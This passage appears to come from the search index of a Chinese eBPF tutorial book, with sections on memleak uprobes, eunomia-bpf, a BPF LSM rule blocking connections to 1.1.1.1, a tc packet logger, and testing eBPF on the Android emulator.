gen_free_enter 函数处理可能遗漏的释放操作。然后，该函数会调用 gen_alloc_enter 函数来处理内存分配，最后调用gen_alloc_exit2函数记录分配的结果。 这两个 bpf 程序都使用了 SEC 宏定义了对应的 tracepoint，以便在相应的内核函数被调用时得到执行。在Linux内核中，tracepoint 是一种可以在内核中插入的静态钩子，可以用来收集运行时的内核信息，它在调试和性能分析中非常有用。 在理解这些代码的过程中，要注意 BPF_CORE_READ 宏的使用。这个宏用于在 bpf 程序中读取内核数据。在 bpf 程序中，我们不能直接访问内核内存，而需要使用这样的宏来安全地读取数据。","breadcrumbs":"编写 eBPF 程序 Memleak 监控内存泄漏 » memleak 内核态 eBPF 程序实现","id":"107","title":"memleak 内核态 eBPF 程序实现"},"108":{"body":"在理解 BPF 内核部分之后，我们转到用户空间程序。用户空间程序与BPF内核程序紧密配合，它负责将BPF程序加载到内核，设置和管理BPF map，以及处理从BPF程序收集到的数据。用户态程序较长，我们这里可以简要参考一下它的挂载点。 int attach_uprobes(struct memleak_bpf *skel)\n{ ATTACH_UPROBE_CHECKED(skel, malloc, malloc_enter); ATTACH_URETPROBE_CHECKED(skel, malloc, malloc_exit); ATTACH_UPROBE_CHECKED(skel, calloc, calloc_enter); ATTACH_URETPROBE_CHECKED(skel, calloc, calloc_exit); ATTACH_UPROBE_CHECKED(skel, realloc, realloc_enter); ATTACH_URETPROBE_CHECKED(skel, realloc, realloc_exit); ATTACH_UPROBE_CHECKED(skel, mmap, mmap_enter); ATTACH_URETPROBE_CHECKED(skel, mmap, mmap_exit); ATTACH_UPROBE_CHECKED(skel, posix_memalign, posix_memalign_enter); ATTACH_URETPROBE_CHECKED(skel, posix_memalign, posix_memalign_exit); ATTACH_UPROBE_CHECKED(skel, memalign, memalign_enter); ATTACH_URETPROBE_CHECKED(skel, memalign, memalign_exit); ATTACH_UPROBE_CHECKED(skel, free, free_enter); ATTACH_UPROBE_CHECKED(skel, munmap, munmap_enter); // the following probes are intentinally allowed to fail attachment // deprecated in libc.so bionic ATTACH_UPROBE(skel, valloc, valloc_enter); ATTACH_URETPROBE(skel, valloc, valloc_exit); // deprecated in libc.so bionic ATTACH_UPROBE(skel, pvalloc, pvalloc_enter); ATTACH_URETPROBE(skel, pvalloc, pvalloc_exit); // added in C11 ATTACH_UPROBE(skel, aligned_alloc, aligned_alloc_enter); ATTACH_URETPROBE(skel, aligned_alloc, aligned_alloc_exit); return 0;\n} 在这段代码中，我们看到一个名为attach_uprobes的函数，该函数负责将uprobes（用户空间探测点）挂载到内存分配和释放函数上。在Linux中，uprobes是一种内核机制，可以在用户空间程序中的任意位置设置断点，这使得我们可以非常精确地观察和控制用户空间程序的行为。 这里，每个内存相关的函数都通过两个uprobes进行跟踪：一个在函数入口（enter），一个在函数退出（exit）。因此，每当这些函数被调用或返回时，都会触发一个uprobes事件，进而触发相应的BPF程序。 在具体的实现中，我们使用了ATTACH_UPROBE和ATTACH_URETPROBE两个宏来附加uprobes和uretprobes（函数返回探测点）。每个宏都需要三个参数：BPF程序的骨架（skel），要监视的函数名，以及要触发的BPF程序的名称。 这些挂载点包括常见的内存分配函数，如malloc、calloc、realloc、mmap、posix_memalign、memalign、free等，以及对应的退出点。另外，我们也观察一些可能的分配函数，如valloc、pvalloc、aligned_alloc等，尽管它们可能不总是存在。 这些挂载点的目标是捕获所有可能的内存分配和释放事件，从而使我们的内存泄露检测工具能够获取到尽可能全面的数据。这种方法可以让我们不仅能跟踪到内存分配和释放，还能得到它们发生的上下文信息，例如调用栈和调用次数，从而帮助我们定位和修复内存泄露问题。 注意，一些内存分配函数可能并不存在或已弃用，比如valloc、pvalloc等，因此它们的附加可能会失败。在这种情况下，我们允许附加失败，并不会阻止程序的执行。这是因为我们更关注的是主流和常用的内存分配函数，而这些已经被弃用的函数往往在实际应用中较少使用。 完整的源代码：https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/16-memleak","breadcrumbs":"编写 eBPF 程序 Memleak 监控内存泄漏 » 用户态程序","id":"108","title":"用户态程序"},"109":{"body":"$ git clone https://github.com/iovisor/bcc.git --recurse-submodules $ cd libbpf-tools/\n$ make memleak\n$ sudo ./memleak using default object: libc.so.6\nusing page size: 4096\ntracing kernel: true\nTracing outstanding memory allocs... Hit Ctrl-C to end\n[17:17:27] Top 10 stacks with outstanding allocations:\n1236992 bytes in 302 allocations from stack 0 [<ffffffff812c8f43>] <null sym> 1 [<ffffffff812c8f43>] <null sym> 2 [<ffffffff812a9d42>] <null sym> 3 [<ffffffff812aa392>] <null sym> 4 [<ffffffff810df0cb>] <null sym> 5 [<ffffffff81edc3fd>] <null sym> 6 [<ffffffff82000b62>] <null sym>\n...","breadcrumbs":"编写 eBPF 程序 Memleak 监控内存泄漏 » 编译运行","id":"109","title":"编译运行"},"11":{"body":"开发、构建和分发 eBPF 一直以来都是一个高门槛的工作，使用 BCC、bpftrace 等工具开发效率高、可移植性好，但是分发部署时需要安装 LLVM、Clang等编译环境，每次运行的时候执行本地或远程编译过程，资源消耗较大；使用原生的 CO-RE libbpf时又需要编写不少用户态加载代码来帮助 eBPF 程序正确加载和从内核中获取上报的信息，同时对于 eBPF 程序的分发、管理也没有很好地解决方案。 eunomia-bpf 是一个开源的 eBPF 动态加载运行时和开发工具链，是为了简化 eBPF 程序的开发、构建、分发、运行而设计的，基于 libbpf 的 CO-RE 轻量级开发框架。 使用 eunomia-bpf ，可以： 在编写 eBPF 程序或工具时只编写内核态代码，自动获取内核态导出信息，并作为模块动态加载； 使用 WASM 进行用户态交互程序的开发，在 WASM 虚拟机内部控制整个 eBPF 程序的加载和执行，以及处理相关数据； eunomia-bpf 可以将预编译的 eBPF 程序打包为通用的 JSON 或 WASM 模块，跨架构和内核版本进行分发，无需重新编译即可动态加载运行。 eunomia-bpf 由一个编译工具链和一个运行时库组成, 对比传统的 BCC、原生 libbpf 等框架，大幅简化了 eBPF 程序的开发流程，在大多数时候只需编写内核态代码，即可轻松构建、打包、发布完整的 eBPF 应用，同时内核态 eBPF 代码保证和主流的 libbpf, libbpfgo, libbpf-rs 等开发框架的 100% 兼容性。需要编写用户态代码的时候，也可以借助 Webassembly 实现通过多种语言进行用户态开发。和 bpftrace 等脚本工具相比, eunomia-bpf 保留了类似的便捷性, 同时不仅局限于 trace 方面, 可以用于更多的场景, 如网络、安全等等。 eunomia-bpf 项目 Github 地址: https://github.com/eunomia-bpf/eunomia-bpf gitee 镜像: https://gitee.com/anolis/eunomia","breadcrumbs":"介绍 eBPF 的基本概念、常见的开发工具 » eunomia-bpf","id":"11","title":"eunomia-bpf"},"110":{"body":"通过本篇 eBPF 入门实践教程，您已经学习了如何编写 Memleak eBPF 监控程序，以实时监控程序的内存泄漏。您已经了解了 eBPF 在内存监控方面的应用，学会了使用 BPF API 编写 eBPF 程序，创建和使用 eBPF maps，并且明白了如何用 eBPF 工具监测和分析内存泄漏问题。我们展示了一个详细的例子，帮助您理解 eBPF 代码的运行流程和原理。 您可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 以获取更多示例和完整的教程。 接下来的教程将进一步探讨 eBPF 的高级特性，我们会继续分享更多有关 eBPF 开发实践的内容。希望这些知识和技巧能帮助您更好地了解和使用 eBPF，以解决实际工作中遇到的问题。","breadcrumbs":"编写 eBPF 程序 Memleak 监控内存泄漏 » 总结","id":"110","title":"总结"},"111":{"body":"","breadcrumbs":"编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O » eBPF 入门实践教程：编写 eBPF 程序 Biopattern: 统计随机/顺序磁盘 I/O","id":"111","title":"eBPF 入门实践教程：编写 eBPF 程序 Biopattern: 统计随机/顺序磁盘 I/O"},"112":{"body":"Biopattern 可以统计随机/顺序磁盘I/O次数的比例。 TODO","breadcrumbs":"编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O » 背景","id":"112","title":"背景"},"113":{"body":"Biopattern 的ebpf代码在 tracepoint/block/block_rq_complete 挂载点下实现。在磁盘完成IO请求 后，程序会经过此挂载点。Biopattern 内部存有一张以设备号为主键的哈希表，当程序经过挂载点时, Biopattern 会获得操作信息，根据哈希表中该设备的上一次操作记录来判断本次操作是随机IO还是顺序IO，并更新操作计数。","breadcrumbs":"编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O » 实现原理","id":"113","title":"实现原理"},"114":{"body":"TODO","breadcrumbs":"编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O » 编写 eBPF 程序","id":"114","title":"编写 eBPF 程序"},"115":{"body":"Biopattern 可以展现随机/顺序磁盘I/O次数的比例，对于开发者把握整体I/O情况有较大帮助。 TODO","breadcrumbs":"编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O » 总结","id":"115","title":"总结"},"116":{"body":"TODO","breadcrumbs":"更多的参考资料 » 更多的参考资料","id":"116","title":"更多的参考资料"},"117":{"body":"eBPF (扩展的伯克利数据包过滤器) 是一项强大的网络和性能分析工具，被广泛应用在 Linux 内核上。eBPF 使得开发者能够动态地加载、更新和运行用户定义的代码，而无需重启内核或更改内核源代码。这个特性使得 eBPF 能够提供极高的灵活性和性能，使其在网络和系统性能分析方面具有广泛的应用。安全方面的 eBPF 应用也是如此，本文将介绍如何使用 eBPF LSM（Linux Security Modules）机制实现一个简单的安全检查程序。","breadcrumbs":"使用 LSM 进行安全检测防御 » eBPF 入门实践教程：使用 LSM 进行安全检测防御","id":"117","title":"eBPF 入门实践教程：使用 LSM 进行安全检测防御"},"118":{"body":"LSM 从 Linux 2.6 开始成为官方内核的一个安全框架，基于此的安全实现包括 SELinux 和 AppArmor 等。在 Linux 5.7 引入 BPF LSM 后，系统开发人员已经能够自由地实现函数粒度的安全检查能力，本文就提供了这样一个案例：限制通过 socket connect 函数对特定 IPv4 地址进行访问的 BPF LSM 程序。（可见其控制精度是很高的）","breadcrumbs":"使用 LSM 进行安全检测防御 » 背景","id":"118","title":"背景"},"119":{"body":"LSM（Linux Security Modules）是 Linux 内核中用于支持各种计算机安全模型的框架。LSM 在 Linux 内核安全相关的关键路径上预置了一批 hook 点，从而实现了内核和安全模块的解耦，使不同的安全模块可以自由地在内核中加载/卸载，无需修改原有的内核代码就可以加入安全检查功能。 在过去，使用 LSM 主要通过配置已有的安全模块（如 SELinux 和 AppArmor）或编写自己的内核模块；而在 Linux 5.7 引入 BPF LSM 机制后，一切都变得不同了：现在，开发人员可以通过 eBPF 编写自定义的安全策略，并将其动态加载到内核中的 LSM 挂载点，而无需配置或编写内核模块。 现在 LSM 支持的 hook 点包括但不限于： 对文件的打开、创建、删除和移动等； 文件系统的挂载； 对 task 和 process 的操作； 对 socket 的操作（创建、绑定 socket，发送和接收消息等）； 更多 hook 点可以参考 lsm_hooks.h 。","breadcrumbs":"使用 LSM 进行安全检测防御 » LSM 概述","id":"119","title":"LSM 概述"},"12":{"body":"eBPF 介绍： https://ebpf.io/ BPF Compiler Collection (BCC)： https://github.com/iovisor/bcc eunomia-bpf： https://github.com/eunomia-bpf/eunomia-bpf 您还可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 以获取更多示例和完整的教程源代码，全部内容均已开源。我们会继续分享更多有关 eBPF 开发实践的内容，帮助您更好地理解和掌握 eBPF 技术。","breadcrumbs":"介绍 eBPF 的基本概念、常见的开发工具 » 参考资料","id":"12","title":"参考资料"},"120":{"body":"首先，请确认内核版本高于 5.7。接下来，可以通过 $ cat /boot/config-$(uname -r) | grep BPF_LSM\nCONFIG_BPF_LSM=y 判断是否内核是否支持 BPF LSM。上述条件都满足的情况下，可以通过 $ cat /sys/kernel/security/lsm\nndlock,lockdown,yama,integrity,apparmor 查看输出是否包含 bpf 选项，如果输出不包含（像上面的例子），可以通过修改 /etc/default/grub： GRUB_CMDLINE_LINUX=\"lsm=ndlock,lockdown,yama,integrity,apparmor,bpf\" 并通过 update-grub2 命令更新 grub 配置（不同系统的对应命令可能不同），然后重启系统。","breadcrumbs":"使用 LSM 进行安全检测防御 » 确认 BPF LSM 是否可用","id":"120","title":"确认 BPF LSM 是否可用"},"121":{"body":"// lsm-connect.bpf.c\n#include \"vmlinux.h\"\n#include <bpf/bpf_core_read.h>\n#include <bpf/bpf_helpers.h>\n#include <bpf/bpf_tracing.h> char LICENSE[] SEC(\"license\") = \"GPL\"; #define EPERM 1\n#define AF_INET 2 const __u32 blockme = 16843009; // 1.1.1.1 -> int SEC(\"lsm/socket_connect\")\nint BPF_PROG(restrict_connect, struct socket *sock, struct sockaddr *address, int addrlen, int ret)\n{ // Satisfying \"cannot override a denial\" rule if (ret != 0) { return ret; } // Only IPv4 in this example if (address->sa_family != AF_INET) { return 0; } // Cast the address to an IPv4 socket address struct sockaddr_in *addr = (struct sockaddr_in *)address; // Where do you want to go? __u32 dest = addr->sin_addr.s_addr; bpf_printk(\"lsm: found connect to %d\", dest); if (dest == blockme) { bpf_printk(\"lsm: blocking %d\", dest); return -EPERM; } return 0;\n} 这是一段 C 实现的 eBPF 内核侧代码，它会阻碍所有试图通过 socket 对 1.1.1.1 的连接操作，其中： SEC(\"lsm/socket_connect\") 宏指出该程序期望的挂载点； 程序通过 BPF_PROG 宏定义（详情可查看 tools/lib/bpf/bpf_tracing.h ）； restrict_connect 是 BPF_PROG 宏要求的程序名； ret 是该挂载点上（潜在的）当前函数之前的 LSM 检查程序的返回值； 整个程序的思路不难理解： 首先，若其他安全检查函数返回值不为 0（不通过），则无需检查，直接返回不通过； 接下来，判断是否为 IPV4 的连接请求，并比较试图连接的地址是否为 1.1.1.1； 若请求地址为 1.1.1.1 则拒绝连接，否则允许连接； 在程序运行期间，所有通过 socket 的连接操作都会被输出到 /sys/kernel/debug/tracing/trace_pipe。","breadcrumbs":"使用 LSM 进行安全检测防御 » 编写 eBPF 程序","id":"121","title":"编写 eBPF 程序"},"122":{"body":"通过容器编译： docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest 或是通过 ecc 编译： $ ecc lsm-connect.bpf.c\nCompiling bpf object...\nPacking ebpf object and config into package.json... 并通过 ecli 运行： sudo ecli run package.json 接下来，可以打开另一个 terminal，并尝试访问 1.1.1.1： $ ping 1.1.1.1\nping: connect: Operation not permitted\n$ curl 1.1.1.1\ncurl: (7) Couldn't connect to server\n$ wget 1.1.1.1\n--2023-04-23 08:41:18-- (try: 2) http://1.1.1.1/\nConnecting to 1.1.1.1:80... failed: Operation not permitted.\nRetrying. 同时，我们可以查看 bpf_printk 的输出： $ sudo cat /sys/kernel/debug/tracing/trace_pipe ping-7054 [000] d...1 6313.430872: bpf_trace_printk: lsm: found connect to 16843009 ping-7054 [000] d...1 6313.430874: bpf_trace_printk: lsm: blocking 16843009 curl-7058 [000] d...1 6316.346582: bpf_trace_printk: lsm: found connect to 16843009 curl-7058 [000] d...1 6316.346584: bpf_trace_printk: lsm: blocking 16843009 wget-7061 [000] d...1 6318.800698: bpf_trace_printk: lsm: found connect to 16843009 wget-7061 [000] d...1 6318.800700: bpf_trace_printk: lsm: blocking 16843009 完整源代码： https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/19-lsm-connect","breadcrumbs":"使用 LSM 进行安全检测防御 » 编译运行","id":"122","title":"编译运行"},"123":{"body":"本文介绍了如何使用 BPF LSM 来限制通过 socket 对特定 IPv4 地址的访问。我们可以通过修改 GRUB 配置文件来开启 LSM 的 BPF 挂载点。在 eBPF 程序中，我们通过 BPF_PROG 宏定义函数，并通过 SEC 宏指定挂载点；在函数实现上，遵循 LSM 安全检查模块中 \"cannot override a denial\" 的原则，并根据 socket 连接请求的目的地址对该请求进行限制。 如果您希望学习更多关于 eBPF 的知识和实践，可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 以获取更多示例和完整的教程。","breadcrumbs":"使用 LSM 进行安全检测防御 » 总结","id":"123","title":"总结"},"124":{"body":"https://github.com/leodido/demo-cloud-native-ebpf-day https://aya-rs.dev/book/programs/lsm/#writing-lsm-bpf-program","breadcrumbs":"使用 LSM 进行安全检测防御 » 参考","id":"124","title":"参考"},"125":{"body":"","breadcrumbs":"使用 eBPF 进行 tc 流量控制 » eBPF 入门实践教程二十：使用 eBPF 进行 tc 流量控制","id":"125","title":"eBPF 入门实践教程二十：使用 eBPF 进行 tc 流量控制"},"126":{"body":"Linux 的流量控制子系统（Traffic Control, tc）在内核中存在了多年，类似于 iptables 和 netfilter 的关系，tc 也包括一个用户态的 tc 程序和内核态的 trafiic control 框架，主要用于从速率、顺序等方面控制数据包的发送和接收。从 Linux 4.1 开始，tc 增加了一些新的挂载点，并支持将 eBPF 程序作为 filter 加载到这些挂载点上。","breadcrumbs":"使用 eBPF 进行 tc 流量控制 » 背景","id":"126","title":"背景"},"127":{"body":"从协议栈上看，tc 位于链路层，其所在位置已经完成了 sk_buff 的分配，要晚于 xdp。为了实现对数据包发送和接收的控制，tc 使用队列结构来临时保存并组织数据包，在 tc 子系统中对应的数据结构和算法控制机制被抽象为 qdisc（Queueing discipline），其对外暴露数据包入队和出队的两个回调接口，并在内部隐藏排队算法实现。在 qdisc 中我们可以基于 filter 和 class 实现复杂的树形结构，其中 filter 被挂载到 qdisc 或 class 上用于实现具体的过滤逻辑，返回值决定了该数据包是否属于特定 class。 当数据包到达顶层 qdisc 时，其入队接口被调用，其上挂载的 filter 被依次执行直到一个 filter 匹配成功；此后数据包被送入该 filter 指向的 class，进入该 class 配置的 qdisc 处理流程中。tc 框架提供了所谓 classifier-action 机制，即在数据包匹配到特定 filter 时执行该 filter 所挂载的 action 对数据包进行处理，实现了完整的数据包分类和处理机制。 现有的 tc 为 eBPF 提供了 direct-action 模式，它使得一个作为 filter 加载的 eBPF 程序可以返回像 TC_ACT_OK 等 tc action 的返回值，而不是像传统的 filter 那样仅仅返回一个 classid 并把对数据包的处理交给 action 模块。现在，eBPF 程序可以被挂载到特定的 qdisc 上，并完成对数据包的分类和处理动作。","breadcrumbs":"使用 eBPF 进行 tc 流量控制 » tc 概述","id":"127","title":"tc 概述"},"128":{"body":"#include <vmlinux.h>\n#include <bpf/bpf_endian.h>\n#include <bpf/bpf_helpers.h>\n#include <bpf/bpf_tracing.h> #define TC_ACT_OK 0\n#define ETH_P_IP 0x0800 /* Internet Protocol packet */ /// @tchook {\"ifindex\":1, \"attach_point\":\"BPF_TC_INGRESS\"}\n/// @tcopts {\"handle\":1, \"priority\":1}\nSEC(\"tc\")\nint tc_ingress(struct __sk_buff *ctx)\n{ void *data_end = (void *)(__u64)ctx->data_end; void *data = (void *)(__u64)ctx->data; struct ethhdr *l2; struct iphdr *l3; if (ctx->protocol != bpf_htons(ETH_P_IP)) return TC_ACT_OK; l2 = data; if ((void *)(l2 + 1) > data_end) return TC_ACT_OK; l3 = (struct iphdr *)(l2 + 1); if ((void *)(l3 + 1) > data_end) return TC_ACT_OK; bpf_printk(\"Got IP packet: tot_len: %d, ttl: %d\", bpf_ntohs(l3->tot_len), l3->ttl); return TC_ACT_OK;\n} char __license[] SEC(\"license\") = \"GPL\"; 这段代码定义了一个 eBPF 程序，它可以通过 Linux TC（Transmission Control）来捕获数据包并进行处理。在这个程序中，我们限定了只捕获 IPv4 协议的数据包，然后通过 bpf_printk 函数打印出数据包的总长度和 Time-To-Live（TTL）字段的值。 需要注意的是，我们在代码中使用了一些 BPF 库函数，例如 bpf_htons 和 bpf_ntohs 函数，它们用于进行网络字节序和主机字节序之间的转换。此外，我们还使用了一些注释来为 TC 提供附加点和选项信息。例如，在这段代码的开头，我们使用了以下注释： /// @tchook {\"ifindex\":1, \"attach_point\":\"BPF_TC_INGRESS\"}\n/// @tcopts {\"handle\":1, \"priority\":1} 这些注释告诉 TC 将 eBPF 程序附加到网络接口的 ingress 附加点，并指定了 handle 和 priority 选项的值。关于 libbpf 中 tc 相关的 API 可以参考 patchwork 中的介绍。 总之，这段代码实现了一个简单的 eBPF 程序，用于捕获数据包并打印出它们的信息。","breadcrumbs":"使用 eBPF 进行 tc 流量控制 » 编写 eBPF 程序","id":"128","title":"编写 eBPF 程序"},"129":{"body":"通过容器编译： docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest 或是通过 ecc 编译： $ ecc tc.bpf.c\nCompiling bpf object...\nPacking ebpf object and config into package.json... 并通过 ecli 运行： sudo ecli run ./package.json 可以通过如下方式查看程序的输出： $ sudo cat /sys/kernel/debug/tracing/trace_pipe node-1254811 [007] ..s1 8737831.671074: 0: Got IP packet: tot_len: 79, ttl: 64 sshd-1254728 [006] ..s1 8737831.674334: 0: Got IP packet: tot_len: 79, ttl: 64 sshd-1254728 [006] ..s1 8737831.674349: 0: Got IP packet: tot_len: 72, ttl: 64 node-1254811 [007] ..s1 8737831.674550: 0: Got IP packet: tot_len: 71, ttl: 64","breadcrumbs":"使用 eBPF 进行 tc 流量控制 » 编译运行","id":"129","title":"编译运行"},"13":{"body":"在本篇博客中，我们将深入探讨eBPF（Extended Berkeley Packet Filter）的基本框架和开发流程。eBPF是一种在Linux内核上运行的强大网络和性能分析工具，它为开发者提供了在内核运行时动态加载、更新和运行用户定义代码的能力。这使得开发者可以实现高效、安全的内核级别的网络监控、性能分析和故障排查等功能。 本文是eBPF入门开发实践教程的第二篇，我们将重点关注如何编写一个简单的eBPF程序，并通过实际例子演示整个开发流程。在阅读本教程之前，建议您先学习第一篇教程，以便对eBPF的基本概念有个大致的了解。 在开发eBPF程序时，有多种开发框架可供选择，如 BCC（BPF Compiler Collection）libbpf、cilium/ebpf、eunomia-bpf 等。虽然不同工具的特点各异，但它们的基本开发流程大致相同。在接下来的内容中，我们将深入了解这些流程，并以 Hello World 程序为例，带领读者逐步掌握eBPF开发的基本技巧。 本教程将帮助您了解eBPF程序的基本结构、编译和加载过程、用户空间与内核空间的交互方式以及调试与优化技巧。通过学习本教程，您将掌握eBPF开发的基本知识，并为后续进一步学习和实践奠定坚实的基础。","breadcrumbs":"eBPF Hello World，基本框架和开发流程 » eBPF 入门开发实践教程二：Hello World，基本框架和开发流程","id":"13","title":"eBPF 入门开发实践教程二：Hello World，基本框架和开发流程"},"130":{"body":"本文介绍了如何向 TC 流量控制子系统挂载 eBPF 类型的 filter 来实现对链路层数据包的排队处理。基于 eunomia-bpf 提供的通过注释向 libbpf 传递参数的方案，我们可以将自己编写的 tc BPF 程序以指定选项挂载到目标网络设备，并借助内核的 sk_buff 结构对数据包进行过滤处理。 如果您希望学习更多关于 eBPF 的知识和实践，可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 以获取更多示例和完整的教程。","breadcrumbs":"使用 eBPF 进行 tc 流量控制 » 总结","id":"130","title":"总结"},"131":{"body":"http://just4coding.com/2022/08/05/tc/ https://arthurchiao.art/blog/understanding-tc-da-mode-zh/","breadcrumbs":"使用 eBPF 进行 tc 流量控制 » 参考","id":"131","title":"参考"},"132":{"body":"本文主要记录了笔者在 Android Studio Emulator 中测试高版本 Android Kernel 对基于 libbpf 的 CO-RE 技术支持程度的探索过程、结果和遇到的问题。 测试采用的方式是在 Android Shell 环境下构建 Debian 环境，并基于此尝试构建 eunomia-bpf 工具链、运行其测试用例。","breadcrumbs":"在 Android 上使用 eBPF 程序 » 在 Andorid 上使用 eBPF 程序","id":"132","title":"在 Andorid 上使用 eBPF 程序"},"133":{"body":"截至目前（2023-04），Android 还未对 eBPF 程序的动态加载做出较好的支持，无论是以 bcc 为代表的带编译器分发方案，还是基于 btf 和 libbpf 的 CO-RE 方案，都在较大程度上离不开 Linux 环境的支持，无法在 Android 系统上很好地运行 [1] 。 虽然如此，在 Android 平台上尝试 eBPF 也已经有了一些成功案例，除谷歌官方提供的修改 Android.bp 以将 eBPF 程序随整个系统一同构建并挂载的方案 [2] ，也有人提出基于 Android 内核构建 Linux 环境进而运行 eBPF 工具链的思路，并开发了相关工具。 目前已有的资料，大多基于 adeb/eadb 在 Android 内核基础上构建 Linux 沙箱，并对 bcc 和 bpftrace 相关工具链进行测试，而对 CO-RE 方案的测试工作较少。在 Android 上使用 bcc 工具目前有较多参考资料，如： SeeFlowerX： https://blog.seeflower.dev/category/eBPF/ evilpan： https://bbs.kanxue.com/thread-271043.htm 其主要思路是利用 chroot 在 Android 内核上运行一个 Debian 镜像，并在其中构建整个 bcc 工具链，从而使用 eBPF 工具。如果想要使用 bpftrace，原理也是类似的。 事实上，高版本的 Android 内核已支持 btf 选项，这意味着 eBPF 领域中新兴的 CO-RE 技术也应当能够运用到基于 Android 内核的 Linux 系统中。本文将基于此对 eunomia-bpf 在模拟器环境下进行测试运行。 eunomia-bpf 是一个结合了 libbpf 和 WebAssembly 技术的开源项目，旨在简化 eBPF 程序的编写、编译和部署。该项目可被视作 CO-RE 的一种实践方式，其核心依赖是 libbpf，相信对 eunomia-bpf 的测试工作能够为其他 CO-RE 方案提供参考。","breadcrumbs":"在 Android 上使用 eBPF 程序 » 背景","id":"133","title":"背景"},"134":{"body":"Android Emulator（Android Studio Flamingo | 2022.2.1） AVD: Pixel 6 Android Image: Tiramisu Android 13.0 x86_64（5.15.41-android13-8-00055-g4f5025129fe8-ab8949913）","breadcrumbs":"在 Android 上使用 eBPF 程序 » 测试环境","id":"134","title":"测试环境"},"135":{"body":"[3] 从 eadb 仓库 的 releases 页面获取 debianfs-amd64-full.tar.gz 作为 Linux 环境的 rootfs，同时还需要获取该项目的 assets 目录来构建环境； 从 Android Studio 的 Device Manager 配置并启动 Android Virtual Device； 通过 Android Studio SDK 的 adb 工具将 debianfs-amd64-full.tar.gz 和 assets 目录推送到 AVD 中： ./adb push debianfs-amd64-full.tar.gz /data/local/tmp/deb.tar.gz ./adb push assets /data/local/tmp/assets 通过 adb 进入 Android shell 环境并获取 root 权限： ./adb shell su 在 Android shell 中构建并进入 debian 环境： mkdir -p /data/eadb mv /data/local/tmp/assets/* /data/eadb mv /data/local/tmp/deb.tar.gz /data/eadb/deb.tar.gz rm -r /data/local/tmp/assets chmod +x /data/eadb/device-* /data/eadb/device-unpack /data/eadb/run /data/eadb/debian 至此，测试 eBPF 所需的 Linux 环境已经构建完毕。此外，在 Android shell 中（未进入 debian 时）可以通过 zcat /proc/config.gz 并配合 grep 查看内核编译选项。 目前，eadb 打包的 debian 环境存在 libc 版本低，缺少的工具依赖较多等情况；并且由于内核编译选项不同，一些 eBPF 功能可能也无法使用。","breadcrumbs":"在 Android 上使用 eBPF 程序 » 环境搭建","id":"135","title":"环境搭建"},"136":{"body":"在 debian 环境中将 eunomia-bpf 仓库 clone 到本地，具体的构建过程，可以参考仓库的 build.md 。在本次测试中，笔者选用了 ecc 编译生成 package.json 的方式，该工具的构建和使用方式请参考 仓库页面 。 在构建过程中，可能需要自行安装包括但不限于 curl，pkg-config，libssl-dev 等工具。","breadcrumbs":"在 Android 上使用 eBPF 程序 » 工具构建","id":"136","title":"工具构建"},"137":{"body":"有部分 eBPF 程序可以成功在 Android 上运行，但也会有部分应用因为种种原因无法成功被执行。","breadcrumbs":"在 Android 上使用 eBPF 程序 » 结果","id":"137","title":"结果"},"138":{"body":"bootstrap 运行输出如下： TIME PID PPID EXIT_CODE DURATION_NS COMM FILENAME EXIT_EVENT\n09:09:19 10217 479 0 0 sh /system/bin/sh 0\n09:09:19 10217 479 0 0 ps /system/bin/ps 0\n09:09:19 10217 479 0 54352100 ps 1\n09:09:21 10219 479 0 0 sh /system/bin/sh 0\n09:09:21 10219 479 0 0 ps /system/bin/ps 0\n09:09:21 10219 479 0 44260900 ps 1 tcpstates 开始监测后在 Linux 环境中通过 wget 下载 Web 页面： TIME SADDR DADDR SKADDR TS_US DELTA_US PID OLDSTATE NEWSTATE FAMILY SPORT DPORT TASK\n09:07:46 0x4007000200005000000000000f02000a 0x5000000000000f02000a8bc53f77 18446635827774444352 3315344998 0 10115 7 2 2 0 80 wget\n09:07:46 0x40020002d98e50003d99f8090f02000a 0xd98e50003d99f8090f02000a8bc53f77 18446635827774444352 3315465870 120872 0 2 1 2 55694 80 swapper/0\n09:07:46 0x40010002d98e50003d99f8090f02000a 0xd98e50003d99f8090f02000a8bc53f77 18446635827774444352 3315668799 202929 10115 1 4 2 55694 80 wget\n09:07:46 0x40040002d98e50003d99f8090f02000a 0xd98e50003d99f8090f02000a8bc53f77 18446635827774444352 3315670037 1237 0 4 5 2 55694 80 swapper/0\n09:07:46 0x40050002000050003d99f8090f02000a 0x50003d99f8090f02000a8bc53f77 18446635827774444352 3315670225 188 0 5 7 2 55694 80 swapper/0\n09:07:47 0x400200020000bb01565811650f02000a 0xbb01565811650f02000a6aa0d9ac 18446635828348806592 3316433261 0 2546 2 7 2 49970 443 ChromiumNet\n09:07:47 0x400200020000bb01db794a690f02000a 0xbb01db794a690f02000aea2afb8e 18446635827774427776 3316535591 0 1469 2 7 2 37386 443 ChromiumNet 开始检测后在 Android Studio 模拟界面打开 Chrome 浏览器并访问百度页面： TIME SADDR DADDR SKADDR TS_US DELTA_US PID OLDSTATE NEWSTATE FAMILY SPORT DPORT TASK\n07:46:58 0x400700020000bb01000000000f02000a 0xbb01000000000f02000aeb6f2270 18446631020066638144 192874641 0 3305 7 2 2 0 443 NetworkService\n07:46:58 0x40020002d28abb01494b6ebe0f02000a 0xd28abb01494b6ebe0f02000aeb6f2270 18446631020066638144 192921938 47297 3305 2 1 2 53898 443 NetworkService\n07:46:58 0x400700020000bb01000000000f02000a 0xbb01000000000f02000ae7e7e8b7 18446631020132433920 193111426 0 3305 7 2 2 0 443 NetworkService\n07:46:58 0x40020002b4a0bb0179ff85e80f02000a 0xb4a0bb0179ff85e80f02000ae7e7e8b7 18446631020132433920 193124670 13244 3305 2 1 2 46240 443 NetworkService\n07:46:58 0x40010002b4a0bb0179ff85e80f02000a 